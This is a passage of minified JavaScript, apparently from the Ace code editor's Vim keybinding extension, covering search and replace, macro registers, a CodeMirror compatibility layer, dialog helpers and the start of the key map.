v.StringStream(e),n=[];while(!t.eol()){while(t.peek()&&t.peek()!=\"\\\\\")n.push(t.next());var r=!1;for(var i in En)if(t.match(i,!0)){r=!0,n.push(En[i]);break}r||n.push(t.next())}return n.join(\"\")}function xn(e,t,n){var r=nt.registerController.getRegister(\"/\");r.setText(e);if(e instanceof RegExp)return e;var i=gn(e),s,o;if(!i.length)s=e;else{s=e.substring(0,i[0]);var u=e.substring(i[0]);o=u.indexOf(\"i\")!=-1}if(!s)return null;G(\"pcre\")||(s=yn(s)),n&&(t=/^[^A-Z]*$/.test(s));var a=new RegExp(s,t||o?\"i\":undefined);return a}function Tn(e,t){e.openNotification?e.openNotification('<span style=\"color: red\">'+t+\"</span>\",{bottom:!0,duration:5e3}):alert(t)}function Nn(e,t){var n=\"\";return e&&(n+='<span style=\"font-family: monospace\">'+e+\"</span>\"),n+='<input type=\"text\"/> <span style=\"color: #888\">',t&&(n+='<span style=\"color: #888\">',n+=t,n+=\"</span>\"),n}function kn(e,t){var n=(t.prefix||\"\")+\" \"+(t.desc||\"\"),r=Nn(t.prefix,t.desc);vn(e,r,n,t.onClose,t)}function Ln(e,t){if(e instanceof RegExp&&t instanceof RegExp){var n=[\"global\",\"multiline\",\"ignoreCase\",\"source\"];for(var r=0;r<n.length;r++){var i=n[r];if(e[i]!==t[i])return!1}return!0}return!1}function An(e,t,n,r){if(!t)return;var i=dn(e),s=xn(t,!!n,!!r);if(!s)return;return Mn(e,s),Ln(s,i.getQuery())?s:(i.setQuery(s),s)}function On(e){if(e.source.charAt(0)==\"^\")var t=!0;return{token:function(n){if(t&&!n.sol()){n.skipToEnd();return}var r=n.match(e,!1);if(r){if(r[0].length==0)return n.next(),\"searching\";if(!n.sol()){n.backUp(1);if(!e.exec(n.next()+r[0]))return n.next(),null}return n.match(e),\"searching\"}while(!n.eol()){n.next();if(n.match(e,!1))break}},query:e}}function Mn(e,t){var n=dn(e),r=n.getOverlay();if(!r||t!=r.query)r&&e.removeOverlay(r),r=On(t),e.addOverlay(r),e.showMatchesOnScrollbar&&(n.getScrollbarAnnotate()&&n.getScrollbarAnnotate().clear(),n.setScrollbarAnnotate(e.showMatchesOnScrollbar(t))),n.setOverlay(r)}function _n(e,t,n,r){return r===undefined&&(r=1),e.operation(function(){var i=e.getCursor(),s=e.getSearchCursor(n,i);for(var o=0;o<r;o++){var u=s.find(t);o==0&&u&&At(s.from(),i)&&(u=s.find(t));if(!u){s=e.getSearchCursor(n,t?E(e.lastLine()):E(e.firstLine(),0));if(!s.find(t))return}}return s.from()})}function Dn(e){var t=dn(e);e.removeOverlay(dn(e).getOverlay()),t.setOverlay(null),t.getScrollbarAnnotate()&&(t.getScrollbarAnnotate().clear(),t.setScrollbarAnnotate(null))}function Pn(e,t,n){return typeof e!=\"number\"&&(e=e.line),t instanceof Array?$(e,t):n?e>=t&&e<=n:e==t}function Hn(e){var t=e.ace.renderer;return{top:t.getFirstFullyVisibleRow(),bottom:t.getLastFullyVisibleRow()}}function In(e,t,n,r,i,s,o,u,a){function c(){e.operation(function(){while(!f)h(),p();d()})}function h(){var t=e.getRange(s.from(),s.to()),n=t.replace(o,u);s.replace(n)}function p(){while(s.findNext()&&Pn(s.from(),r,i)){if(!n&&l&&s.from().line==l.line)continue;e.scrollIntoView(s.from(),30),e.setSelection(s.from(),s.to()),l=s.from(),f=!1;return}f=!0}function d(t){t&&t(),e.focus();if(l){e.setCursor(l);var n=e.state.vim;n.exMode=!1,n.lastHPos=n.lastHSPos=l.ch}a&&a()}function m(t,n,r){v.e_stop(t);var i=v.keyName(t);switch(i){case\"Y\":h(),p();break;case\"N\":p();break;case\"A\":var s=a;a=undefined,e.operation(c),a=s;break;case\"L\":h();case\"Q\":case\"Esc\":case\"Ctrl-C\":case\"Ctrl-[\":d(r)}return f&&d(r),!0}e.state.vim.exMode=!0;var f=!1,l=s.from();p();if(f){Tn(e,\"No matches for \"+o.source);return}if(!t){c(),a&&a();return}kn(e,{prefix:\"replace with <strong>\"+u+\"</strong> (y/n/a/q/l)\",onKeyDown:m})}function qn(e){var t=e.state.vim,n=nt.macroModeState,r=nt.registerController.getRegister(\".\"),i=n.isPlaying,s=n.lastInsertModeChanges,o=[];if(!i){var u=s.inVisualBlock?t.lastSelection.visualBlock.height:1,a=s.changes,o=[],f=0;while(f<a.length)o.push(a[f]),a[f]instanceof Gn?f++:f+=u;s.changes=o,e.off(\"change\",$n),v.off(e.getInputField(),\"keydown\",Yn)}!i&&t.insertModeRepeat>1&&(Zn(e,t,t.insertModeRepeat-1,!0),t.lastEditInputState.repeatOverride=t.insertModeRepeat),delete t.insertModeRepeat,t.insertMode=!1,e.setCursor(e.getCursor().line,e.getCursor().ch-1),e.setOption(\"keyMap\",\"vim\"),e.setOption(\"disableInput\",!0),e.toggleOverwrite(!1),r.setText(s.changes.join(\"\")),v.signal(e,\"vim-mode-change\",{mode:\"normal\"}),n.isRecording&&Xn(n)}function Rn(e){b.unshift(e)}function Un(e,t,n,r,i){var s={keys:e,type:t};s[t]=n,s[t+\"Args\"]=r;for(var o in i)s[o]=i[o];Rn(s)}function zn(e,t,n,r){var i=nt.registerController.getRegister(r);if(r==\":\"){i.keyBuffer[0]&&Fn.processCommand(e,i.keyBuffer[0]),n.isPlaying=!1;return}var s=i.keyBuffer,o=0;n.isPlaying=!0,n.replaySearchQueries=i.searchQueries.slice(0);for(var u=0;u<s.length;u++){var a=s[u],f,l;while(a){f=/<\\w+-.+?>|<\\w+>|./.exec(a),l=f[0],a=a.substring(f.index+l.length),v.Vim.handleKey(e,l,\"macro\");if(t.insertMode){var c=i.insertModeChanges[o++].changes;nt.macroModeState.lastInsertModeChanges.changes=c,er(e,c,1),qn(e)}}}n.isPlaying=!1}function Wn(e,t){if(e.isPlaying)return;var n=e.latestRegister,r=nt.registerController.getRegister(n);r&&r.pushText(t)}function Xn(e){if(e.isPlaying)return;var t=e.latestRegister,n=nt.registerController.getRegister(t);n&&n.pushInsertModeChanges&&n.pushInsertModeChanges(e.lastInsertModeChanges)}function Vn(e,t){if(e.isPlaying)return;var n=e.latestRegister,r=nt.registerController.getRegister(n);r&&r.pushSearchQuery&&r.pushSearchQuery(t)}function $n(e,t){var n=nt.macroModeState,r=n.lastInsertModeChanges;if(!n.isPlaying)while(t){r.expectCursorActivityForChange=!0;if(t.origin==\"+input\"||t.origin==\"paste\"||t.origin===undefined){var i=t.text.join(\"\\n\");r.changes.push(i)}t=t.next}}function Jn(e){var t=e.state.vim;if(t.insertMode){var n=nt.macroModeState;if(n.isPlaying)return;var r=n.lastInsertModeChanges;r.expectCursorActivityForChange?r.expectCursorActivityForChange=!1:r.changes=[]}else e.curOp.isVimOp||Qn(e,t);t.visualMode&&Kn(e)}function Kn(e){var t=e.state.vim,n=wt(e,Lt(t.sel.head)),r=St(n,0,1);t.fakeCursor&&t.fakeCursor.clear(),t.fakeCursor=e.markText(n,r,{className:\"cm-animate-fat-cursor\"})}function Qn(e,t){var n=e.getCursor(\"anchor\"),r=e.getCursor(\"head\");t.visualMode&&!e.somethingSelected()?$t(e,!1):!t.visualMode&&!t.insertMode&&e.somethingSelected()&&(t.visualMode=!0,t.visualLine=!1,v.signal(e,\"vim-mode-change\",{mode:\"visual\"}));if(t.visualMode){var i=Ot(r,n)?0:-1,s=Ot(r,n)?-1:0;r=St(r,0,i),n=St(n,0,s),t.sel={anchor:n,head:r},an(e,t,\"<\",Mt(r,n)),an(e,t,\">\",_t(r,n))}else t.insertMode||(t.lastHPos=e.getCursor().ch)}function Gn(e){this.keyName=e}function Yn(e){function i(){return n.changes.push(new Gn(r)),!0}var t=nt.macroModeState,n=t.lastInsertModeChanges,r=v.keyName(e);if(!r)return;(r.indexOf(\"Delete\")!=-1||r.indexOf(\"Backspace\")!=-1)&&v.lookupKey(r,\"vim-insert\",i)}function Zn(e,t,n,r){function u(){s?ht.processAction(e,t,t.lastEditActionCommand):ht.evalInput(e,t)}function a(n){if(i.lastInsertModeChanges.changes.length>0){n=t.lastEditActionCommand?n:1;var r=i.lastInsertModeChanges;er(e,r.changes,n)}}var i=nt.macroModeState;i.isPlaying=!0;var s=!!t.lastEditActionCommand,o=t.inputState;t.inputState=t.lastEditInputState;if(s&&t.lastEditActionCommand.interlaceInsertRepeat)for(var f=0;f<n;f++)u(),a(1);else r||u(),a(n);t.inputState=o,t.insertMode&&!r&&qn(e),i.isPlaying=!1}function er(e,t,n){function r(t){return typeof t==\"string\"?v.commands[t](e):t(e),!0}var i=e.getCursor(\"head\"),s=nt.macroModeState.lastInsertModeChanges.inVisualBlock;if(s){var o=e.state.vim,u=o.lastSelection,a=xt(u.anchor,u.head);It(e,i,a.line+1),n=e.listSelections().length,e.setCursor(i)}for(var f=0;f<n;f++){s&&e.setCursor(St(i,f,0));for(var l=0;l<t.length;l++){var c=t[l];if(c instanceof Gn)v.lookupKey(c.keyName,\"vim-insert\",r);else{var h=e.getCursor();e.replaceRange(c,h,h)}}}s&&e.setCursor(St(i,0,1))}function nr(e,t,n){t.length>1&&t[0]==\"n\"&&(t=t.replace(\"numpad\",\"\")),t=tr[t]||t;var r=\"\";return n.ctrlKey&&(r+=\"C-\"),n.altKey&&(r+=\"A-\"),n.shiftKey&&(r+=\"S-\"),r+=t,r.length>1&&(r=\"<\"+r+\">\"),r}function ir(e){var t=new e.constructor;return Object.keys(e).forEach(function(n){var r=e[n];Array.isArray(r)?r=r.slice():r&&typeof r==\"object\"&&r.constructor!=Object&&(r=ir(r)),t[n]=r}),e.sel&&(t.sel={head:e.sel.head&&Lt(e.sel.head),anchor:e.sel.anchor&&Lt(e.sel.anchor)}),t}function sr(e,t,n){var r=!1,i=S.maybeInitVimState_(e),s=i.visualBlock||i.wasInVisualBlock;i.wasInVisualBlock&&!e.ace.inMultiSelectMode?i.wasInVisualBlock=!1:e.ace.inMultiSelectMode&&i.visualBlock&&(i.wasInVisualBlock=!0);if(t==\"<Esc>\"&&!i.insertMode&&!i.visualMode&&e.ace.inMultiSelectMode)e.ace.exitMultiSelectMode();else if(s||!e.ace.inMultiSelectMode||e.ace.inVirtualSelectionMode)r=S.handleKey(e,t,n);else{var o=ir(i);e.operation(function(){e.ace.forEachSelection(function(){var i=e.ace.selection;e.state.vim.lastHPos=i.$desiredColumn==null?i.lead.column:i.$desiredColumn;var s=e.getCursor(\"head\"),u=e.getCursor(\"anchor\"),a=Ot(s,u)?0:-1,f=Ot(s,u)?-1:0;s=St(s,0,a),u=St(u,0,f),e.state.vim.sel.head=s,e.state.vim.sel.anchor=u,r=rr(e,t,n),i.$desiredColumn=e.state.vim.lastHPos==-1?null:e.state.vim.lastHPos,e.virtualSelectionMode()&&(e.state.vim=ir(o))}),e.curOp.cursorActivity&&!r&&(e.curOp.cursorActivity=!1)},!0)}return r}function ar(e,t){t.off(\"beforeEndOperation\",ar);var n=t.state.cm.vimCmd;n&&t.execCommand(n.exec?n:n.name,n.args),t.curOp=t.prevOp}var i=e(\"../range\").Range,s=e(\"../lib/event_emitter\").EventEmitter,o=e(\"../lib/dom\"),u=e(\"../lib/oop\"),a=e(\"../lib/keys\"),f=e(\"../lib/event\"),l=e(\"../search\").Search,c=e(\"../lib/useragent\"),h=e(\"../search_highlight\").SearchHighlight,p=e(\"../commands/multi_select_commands\"),d=e(\"../mode/text\").Mode.prototype.tokenRe;e(\"../multi_select\");var v=function(e){this.ace=e,this.state={},this.marks={},this.$uid=0,this.onChange=this.onChange.bind(this),this.onSelectionChange=this.onSelectionChange.bind(this),this.onBeforeEndOperation=this.onBeforeEndOperation.bind(this),this.ace.on(\"change\",this.onChange),this.ace.on(\"changeSelection\",this.onSelectionChange),this.ace.on(\"beforeEndOperation\",this.onBeforeEndOperation)};v.Pos=function(e,t){if(!(this instanceof E))return new E(e,t);this.line=e,this.ch=t},v.defineOption=function(e,t,n){},v.commands={redo:function(e){e.ace.redo()},undo:function(e){e.ace.undo()},newlineAndIndent:function(e){e.ace.insert(\"\\n\")}},v.keyMap={},v.addClass=v.rmClass=v.e_stop=function(){},v.keyName=function(e){if(e.key)return e.key;var t=a[e.keyCode]||\"\";return t.length==1&&(t=t.toUpperCase()),t=f.getModifierString(e).replace(/(^|-)\\w/g,function(e){return e.toUpperCase()})+t,t},v.keyMap[\"default\"]=function(e){return function(t){var n=t.ace.commands.commandKeyBinding[e.toLowerCase()];return n&&t.ace.execCommand(n)!==!1}},v.lookupKey=function fr(e,t,n){typeof t==\"string\"&&(t=v.keyMap[t]);var r=typeof t==\"function\"?t(e):t[e];if(r===!1)return\"nothing\";if(r===\"...\")return\"multi\";if(r!=null&&n(r))return\"handled\";if(t.fallthrough){if(!Array.isArray(t.fallthrough))return fr(e,t.fallthrough,n);for(var i=0;i<t.fallthrough.length;i++){var s=fr(e,t.fallthrough[i],n);if(s)return s}}},v.signal=function(e,t,n){return e._signal(t,n)},v.on=f.addListener,v.off=f.removeListener,v.isWordChar=function(e){return e<\"\"?/^\\w$/.test(e):(d.lastIndex=0,d.test(e))},function(){u.implement(v.prototype,s),this.destroy=function(){this.ace.off(\"change\",this.onChange),this.ace.off(\"changeSelection\",this.onSelectionChange),this.ace.off(\"beforeEndOperation\",this.onBeforeEndOperation),this.removeOverlay()},this.virtualSelectionMode=function(){return this.ace.inVirtualSelectionMode&&this.ace.selection.index},this.onChange=function(e){if(e.action[0]==\"i\"){var t={text:e.lines},n=this.curOp=this.curOp||{};n.changeHandlers||(n.changeHandlers=this._eventRegistry.change&&this._eventRegistry.change.slice());if(this.virtualSelectionMode())return;n.lastChange?n.lastChange.next=n.lastChange=t:n.lastChange=n.change=t}this.$updateMarkers(e)},this.onSelectionChange=function(){var e=this.curOp=this.curOp||{};e.cursorActivityHandlers||(e.cursorActivityHandlers=this._eventRegistry.cursorActivity&&this._eventRegistry.cursorActivity.slice()),this.curOp.cursorActivity=!0,this.ace.inMultiSelectMode&&this.ace.keyBinding.removeKeyboardHandler(p.keyboardHandler)},this.operation=function(e,t){if(!t&&this.curOp||t&&this.curOp&&this.curOp.force)return e();(t||!this.ace.curOp)&&this.curOp&&this.onBeforeEndOperation();if(!this.ace.curOp){var n=this.ace.prevOp;this.ace.startOperation({command:{name:\"vim\",scrollIntoView:\"cursor\"}})}var r=this.curOp=this.curOp||{};this.curOp.force=t;var i=e();return this.ace.curOp&&this.ace.curOp.command.name==\"vim\"&&(this.ace.endOperation(),!r.cursorActivity&&!r.lastChange&&n&&(this.ace.prevOp=n)),(t||!this.ace.curOp)&&this.curOp&&this.onBeforeEndOperation(),i},this.onBeforeEndOperation=function(){var e=this.curOp;e&&(e.change&&this.signal(\"change\",e.change,e),e&&e.cursorActivity&&this.signal(\"cursorActivity\",null,e),this.curOp=null)},this.signal=function(e,t,n){var r=n?n[e+\"Handlers\"]:(this._eventRegistry||{})[e];if(!r)return;r=r.slice();for(var i=0;i<r.length;i++)r[i](this,t)},this.firstLine=function(){return 0},this.lastLine=function(){return this.ace.session.getLength()-1},this.lineCount=function(){return this.ace.session.getLength()},this.setCursor=function(e,t){typeof e==\"object\"&&(t=e.ch,e=e.line),this.ace.inVirtualSelectionMode||this.ace.exitMultiSelectMode(),this.ace.session.unfold({row:e,column:t}),this.ace.selection.moveTo(e,t)},this.getCursor=function(e){var t=this.ace.selection,n=e==\"anchor\"?t.isEmpty()?t.lead:t.anchor:e==\"head\"||!e?t.lead:t.getRange()[e];return g(n)},this.listSelections=function(e){var t=this.ace.multiSelect.rangeList.ranges;return!t.length||this.ace.inVirtualSelectionMode?[{anchor:this.getCursor(\"anchor\"),head:this.getCursor(\"head\")}]:t.map(function(e){return{anchor:this.clipPos(g(e.cursor==e.end?e.start:e.end)),head:this.clipPos(g(e.cursor))}},this)},this.setSelections=function(e,t){var n=this.ace.multiSelect,r=e.map(function(e){var t=m(e.anchor),n=m(e.head),r=i.comparePoints(t,n)<0?new i.fromPoints(t,n):new i.fromPoints(n,t);return r.cursor=i.comparePoints(r.start,n)?r.end:r.start,r});if(this.ace.inVirtualSelectionMode){this.ace.selection.fromOrientedRange(r[0]);return}t?r[t]&&r.push(r.splice(t,1)[0]):r=r.reverse(),n.toSingleRange(r[0].clone());var s=this.ace.session;for(var o=0;o<r.length;o++){var u=s.$clipRangeToDocument(r[o]);n.addRange(u)}},this.setSelection=function(e,t,n){var r=this.ace.selection;r.moveTo(e.line,e.ch),r.selectTo(t.line,t.ch),n&&n.origin==\"*mouse\"&&this.onBeforeEndOperation()},this.somethingSelected=function(e){return!this.ace.selection.isEmpty()},this.clipPos=function(e){var t=this.ace.session.$clipPositionToDocument(e.line,e.ch);return g(t)},this.markText=function(e){return{clear:function(){},find:function(){}}},this.$updateMarkers=function(e){var t=e.action==\"insert\",n=e.start,r=e.end,s=(r.row-n.row)*(t?1:-1),o=(r.column-n.column)*(t?1:-1);t&&(r=n);for(var u in this.marks){var a=this.marks[u],f=i.comparePoints(a,n);if(f<0)continue;if(f===0&&t){if(a.bias!=1){a.bias==-1;continue}f=1}var l=t?f:i.comparePoints(a,r);if(l>0){a.row+=s,a.column+=a.row==r.row?o:0;continue}!t&&l<=0&&(a.row=n.row,a.column=n.column,l===0&&(a.bias=1))}};var e=function(e,t,n,r){this.cm=e,this.id=t,this.row=n,this.column=r,e.marks[this.id]=this};e.prototype.clear=function(){delete this.cm.marks[this.id]},e.prototype.find=function(){return g(this)},this.setBookmark=function(t,n){var r=new e(this,this.$uid++,t.line,t.ch);if(!n||!n.insertLeft)r.$insertRight=!0;return this.marks[r.id]=r,r},this.moveH=function(e,t){if(t==\"char\"){var n=this.ace.selection;n.clearSelection(),n.moveCursorBy(0,e)}},this.findPosV=function(e,t,n,r){if(n==\"page\"){var i=this.ace.renderer,s=i.layerConfig;t*=Math.floor(s.height/s.lineHeight),n=\"line\"}if(n==\"line\"){var o=this.ace.session.documentToScreenPosition(e.line,e.ch);r!=null&&(o.column=r),o.row+=t,o.row=Math.min(Math.max(0,o.row),this.ace.session.getScreenLength()-1);var u=this.ace.session.screenToDocumentPosition(o.row,o.column);return g(u)}debugger},this.charCoords=function(e,t){if(t==\"div\"||!t){var n=this.ace.session.documentToScreenPosition(e.line,e.ch);return{left:n.column,top:n.row}}if(t==\"local\"){var r=this.ace.renderer,n=this.ace.session.documentToScreenPosition(e.line,e.ch),i=r.layerConfig.lineHeight,s=r.layerConfig.characterWidth,o=i*n.row;return{left:n.column*s,top:o,bottom:o+i}}},this.coordsChar=function(e,t){var n=this.ace.renderer;if(t==\"local\"){var r=Math.max(0,Math.floor(e.top/n.lineHeight)),i=Math.max(0,Math.floor(e.left/n.characterWidth)),s=n.session.screenToDocumentPosition(r,i);return g(s)}if(t==\"div\")throw\"not implemented\"},this.getSearchCursor=function(e,t,n){var r=!1,i=!1;e instanceof RegExp&&!e.global&&(r=!e.ignoreCase,e=e.source,i=!0);var s=new l;t.ch==undefined&&(t.ch=Number.MAX_VALUE);var o={row:t.line,column:t.ch},u=this,a=null;return{findNext:function(){return this.find(!1)},findPrevious:function(){return this.find(!0)},find:function(t){s.setOptions({needle:e,caseSensitive:r,wrap:!1,backwards:t,regExp:i,start:a||o});var n=s.find(u.ace.session);return n&&n.isEmpty()&&u.getLine(n.start.row).length==n.start.column&&(s.$options.start=n,n=s.find(u.ace.session)),a=n,a},from:function(){return a&&g(a.start)},to:function(){return a&&g(a.end)},replace:function(e){a&&(a.end=u.ace.session.doc.replace(a,e))}}},this.scrollTo=function(e,t){var n=this.ace.renderer,r=n.layerConfig,i=r.maxHeight;i-=(n.$size.scrollerHeight-n.lineHeight)*n.$scrollPastEnd,t!=null&&this.ace.session.setScrollTop(Math.max(0,Math.min(t,i))),e!=null&&this.ace.session.setScrollLeft(Math.max(0,Math.min(e,r.width)))},this.scrollInfo=function(){return 0},this.scrollIntoView=function(e,t){if(e){var n=this.ace.renderer,r={top:0,bottom:t};n.scrollCursorIntoView(m(e),n.lineHeight*2/n.$size.scrollerHeight,r)}},this.getLine=function(e){return this.ace.session.getLine(e)},this.getRange=function(e,t){return this.ace.session.getTextRange(new i(e.line,e.ch,t.line,t.ch))},this.replaceRange=function(e,t,n){return n||(n=t),this.ace.session.replace(new i(t.line,t.ch,n.line,n.ch),e)},this.replaceSelections=function(e){var t=this.ace.selection;if(this.ace.inVirtualSelectionMode){this.ace.session.replace(t.getRange(),e[0]||\"\");return}t.inVirtualSelectionMode=!0;var n=t.rangeList.ranges;n.length||(n=[this.ace.multiSelect.getRange()]);for(var r=n.length;r--;)this.ace.session.replace(n[r],e[r]||\"\");t.inVirtualSelectionMode=!1},this.getSelection=function(){return this.ace.getSelectedText()},this.getSelections=function(){return this.listSelections().map(function(e){return this.getRange(e.anchor,e.head)},this)},this.getInputField=function(){return this.ace.textInput.getElement()},this.getWrapperElement=function(){return this.ace.containter};var t={indentWithTabs:\"useSoftTabs\",indentUnit:\"tabSize\",tabSize:\"tabSize\",firstLineNumber:\"firstLineNumber\",readOnly:\"readOnly\"};this.setOption=function(e,n){this.state[e]=n;switch(e){case\"indentWithTabs\":e=t[e],n=!n;break;default:e=t[e]}e&&this.ace.setOption(e,n)},this.getOption=function(e,n){var r=t[e];r&&(n=this.ace.getOption(r));switch(e){case\"indentWithTabs\":return e=t[e],!n}return r?n:this.state[e]},this.toggleOverwrite=function(e){return this.state.overwrite=e,this.ace.setOverwrite(e)},this.addOverlay=function(e){if(!this.$searchHighlight||!this.$searchHighlight.session){var t=new h(null,\"ace_highlight-marker\",\"text\"),n=this.ace.session.addDynamicMarker(t);t.id=n.id,t.session=this.ace.session,t.destroy=function(e){t.session.off(\"change\",t.updateOnChange),t.session.off(\"changeEditor\",t.destroy),t.session.removeMarker(t.id),t.session=null},t.updateOnChange=function(e){var n=e.start.row;n==e.end.row?t.cache[n]=undefined:t.cache.splice(n,t.cache.length)},t.session.on(\"changeEditor\",t.destroy),t.session.on(\"change\",t.updateOnChange)}var r=new RegExp(e.query.source,\"gmi\");this.$searchHighlight=e.highlight=t,this.$searchHighlight.setRegexp(r),this.ace.renderer.updateBackMarkers()},this.removeOverlay=function(e){this.$searchHighlight&&this.$searchHighlight.session&&this.$searchHighlight.destroy()},this.getScrollInfo=function(){var e=this.ace.renderer,t=e.layerConfig;return{left:e.scrollLeft,top:e.scrollTop,height:t.maxHeight,width:t.width,clientHeight:t.height,clientWidth:t.width}},this.getValue=function(){return this.ace.getValue()},this.setValue=function(e){return this.ace.setValue(e)},this.getTokenTypeAt=function(e){var t=this.ace.session.getTokenAt(e.line,e.ch);return t&&/comment|string/.test(t.type)?\"string\":\"\"},this.findMatchingBracket=function(e){var t=this.ace.session.findMatchingBracket(m(e));return{to:t&&g(t)}},this.indentLine=function(e,t){t===!0?this.ace.session.indentRows(e,e,\"\t\"):t===!1&&this.ace.session.outdentRows(new i(e,0,e,0))},this.indexFromPos=function(e){return this.ace.session.doc.positionToIndex(m(e))},this.posFromIndex=function(e){return g(this.ace.session.doc.indexToPosition(e))},this.focus=function(e){return this.ace.focus()},this.blur=function(e){return this.ace.blur()},this.defaultTextHeight=function(e){return this.ace.renderer.layerConfig.lineHeight},this.scanForBracket=function(e,t,n,r){var i=r.bracketRegex.source;if(t==1)var s=this.ace.session.$findClosingBracket(i.slice(1,2),m(e),/paren|text/);else var s=this.ace.session.$findOpeningBracket(i.slice(-2,-1),{row:e.line,column:e.ch+1},/paren|text/);return s&&{pos:g(s)}},this.refresh=function(){return this.ace.resize(!0)},this.getMode=function(){return{name:this.getOption(\"mode\")}}}.call(v.prototype);var y=v.StringStream=function(e,t){this.pos=this.start=0,this.string=e,this.tabSize=t||8,this.lastColumnPos=this.lastColumnValue=0,this.lineStart=0};y.prototype={eol:function(){return this.pos>=this.string.length},sol:function(){return this.pos==this.lineStart},peek:function(){return this.string.charAt(this.pos)||undefined},next:function(){if(this.pos<this.string.length)return this.string.charAt(this.pos++)},eat:function(e){var t=this.string.charAt(this.pos);if(typeof e==\"string\")var n=t==e;else var n=t&&(e.test?e.test(t):e(t));if(n)return++this.pos,t},eatWhile:function(e){var t=this.pos;while(this.eat(e));return this.pos>t},eatSpace:function(){var e=this.pos;while(/[\\s\\u00a0]/.test(this.string.charAt(this.pos)))++this.pos;return this.pos>e},skipToEnd:function(){this.pos=this.string.length},skipTo:function(e){var t=this.string.indexOf(e,this.pos);if(t>-1)return this.pos=t,!0},backUp:function(e){this.pos-=e},column:function(){throw\"not implemented\"},indentation:function(){throw\"not implemented\"},match:function(e,t,n){if(typeof e!=\"string\"){var s=this.string.slice(this.pos).match(e);return s&&s.index>0?null:(s&&t!==!1&&(this.pos+=s[0].length),s)}var r=function(e){return n?e.toLowerCase():e},i=this.string.substr(this.pos,e.length);if(r(i)==r(e))return t!==!1&&(this.pos+=e.length),!0},current:function(){return this.string.slice(this.start,this.pos)},hideFirstChars:function(e,t){this.lineStart+=e;try{return t()}finally{this.lineStart-=e}}},v.defineExtension=function(e,t){v.prototype[e]=t},o.importCssString(\".normal-mode .ace_cursor{  border: 1px solid red;  background-color: red;  opacity: 0.5;}.normal-mode .ace_hidden-cursors .ace_cursor{  background-color: transparent;}.ace_dialog {  position: absolute;  left: 0; right: 0;  background: white;  z-index: 15;  padding: .1em .8em;  overflow: hidden;  color: #333;}.ace_dialog-top {  border-bottom: 1px solid #eee;  top: 0;}.ace_dialog-bottom {  border-top: 1px solid #eee;  bottom: 0;}.ace_dialog input {  border: none;  outline: none;  background: transparent;  width: 20em;  color: inherit;  font-family: monospace;}\",\"vimMode\"),function(){function e(e,t,n){var r=e.ace.container,i;return i=r.appendChild(document.createElement(\"div\")),n?i.className=\"ace_dialog ace_dialog-bottom\":i.className=\"ace_dialog ace_dialog-top\",typeof t==\"string\"?i.innerHTML=t:i.appendChild(t),i}function t(e,t){e.state.currentNotificationClose&&e.state.currentNotificationClose(),e.state.currentNotificationClose=t}v.defineExtension(\"openDialog\",function(n,r,i){function a(e){if(typeof e==\"string\")f.value=e;else{if(o)return;o=!0,s.parentNode.removeChild(s),u.focus(),i.onClose&&i.onClose(s)}}if(this.virtualSelectionMode())return;i||(i={}),t(this,null);var s=e(this,n,i.bottom),o=!1,u=this,f=s.getElementsByTagName(\"input\")[0],l;if(f)i.value&&(f.value=i.value,i.select!==!1&&f.select()),i.onInput&&v.on(f,\"input\",function(e){i.onInput(e,f.value,a)}),i.onKeyUp&&v.on(f,\"keyup\",function(e){i.onKeyUp(e,f.value,a)}),v.on(f,\"keydown\",function(e){if(i&&i.onKeyDown&&i.onKeyDown(e,f.value,a))return;if(e.keyCode==27||i.closeOnEnter!==!1&&e.keyCode==13)f.blur(),v.e_stop(e),a();e.keyCode==13&&r(f.value)}),i.closeOnBlur!==!1&&v.on(f,\"blur\",a),f.focus();else if(l=s.getElementsByTagName(\"button\")[0])v.on(l,\"click\",function(){a(),u.focus()}),i.closeOnBlur!==!1&&v.on(l,\"blur\",a),l.focus();return a}),v.defineExtension(\"openNotification\",function(n,r){function a(){if(s)return;s=!0,clearTimeout(o),i.parentNode.removeChild(i)}if(this.virtualSelectionMode())return;t(this,a);var i=e(this,n,r&&r.bottom),s=!1,o,u=r&&typeof r.duration!=\"undefined\"?r.duration:5e3;return v.on(i,\"click\",function(e){v.e_preventDefault(e),a()}),u&&(o=setTimeout(a,u)),a})}();var b=[{keys:\"<Left>\",type:\"keyToKey\",toKeys:\"h\"},{keys:\"<Right>\",type:\"keyToKey\",toKeys:\"l\"},{keys:\"<Up>\",type:\"keyToKey\",toKeys:\"k\"},{keys:\"<Down>\",type:\"keyToKey\",toKeys:\"j\"},{keys:\"<Space>\",type:\"keyToKey\",toKeys:\"l\"},{keys:\"<BS>\",type:\"keyToKey\",toKeys:\"h\",context:\"normal\"},{keys:\"<C-Space>\",type:\"keyToKey\",toKeys:\"W\"},{keys:\"<C-BS>\",type:\"keyToKey\",toKeys:\"B\",context:\"normal\"},{keys:\"<S-Space>\",type:\"keyToKey\",toKeys:\"w\"},{keys:\"<S-BS>\",type:\"keyToKey\",toKeys:\"b\",context:\"normal\"},{keys:\"<C-n>\",type:\"keyToKey\",toKeys:\"j\"},{keys:\"<C-p>\",type:\"keyToKey\",toKeys:\"k\"},{keys:\"<C-[>\",type:\"keyToKey\",toKeys:\"<Esc>\"},{keys:\"<C-c>\",type:\"keyToKey\",toKeys:\"<Esc>\"},{keys:\"<C-[>\",type:\"keyToKey\",toKeys:\"<Esc>\",context:\"insert\"},{keys:\"<C-c>\",type:\"keyToKey\",toKeys:\"<Esc>\",context:\"insert\"},{keys:\"s\",type:\"keyToKey\",toKeys:\"cl\",context:\"normal\"},{keys:\"s\",type:\"keyToKey\",toKeys:\"xi\",context:\"visual\"},{keys:\"S\",type:\"keyToKey\",toKeys:\"cc\",context:\"normal\"},{keys:\"S\",type:\"keyToKey\",toKeys:\"dcc\",context:\"visual\"},{keys:\"<Home>\",type:\"keyToKey\",toKeys:\"0\"},{keys:\"<End>\",type:\"keyToKey\",toKeys:\"$\"},{keys:\"<PageUp>\",type:\"keyToKey\",toKeys:\"<C-b>\"},{keys:\"<PageDown>\",type:\"keyToKey\",toKeys:\"<C-f>\"},{keys:\"<CR>\",type:\"keyToKey\",toKeys:\"j^\",context:\"normal\"},{keys:\"H\",type:\"motion\",motion:\"moveToTopLine\",motionArgs:{linewise:!0,toJumplist:!0}},{keys:\"M\",type:\"motion\",motion:\"moveToMiddleLine\",motionArgs:{linewise:!0,toJumplist:!0}},{keys:\"L\",type:\"motion\",motion:\"moveToBottomLine\",motionArgs:{linewise:!0,toJumplist:!0}},{keys:\"h\",type:\"motion\",motion:\"moveByCharacters\",motionArgs:{forward:!1}},{keys:\"l\",type:\"motion\",motion:\"moveByCharacters\",motionArgs:{forward:!0}},{keys:\"j\",type:\"motion\",motion:\"moveByLines\",motion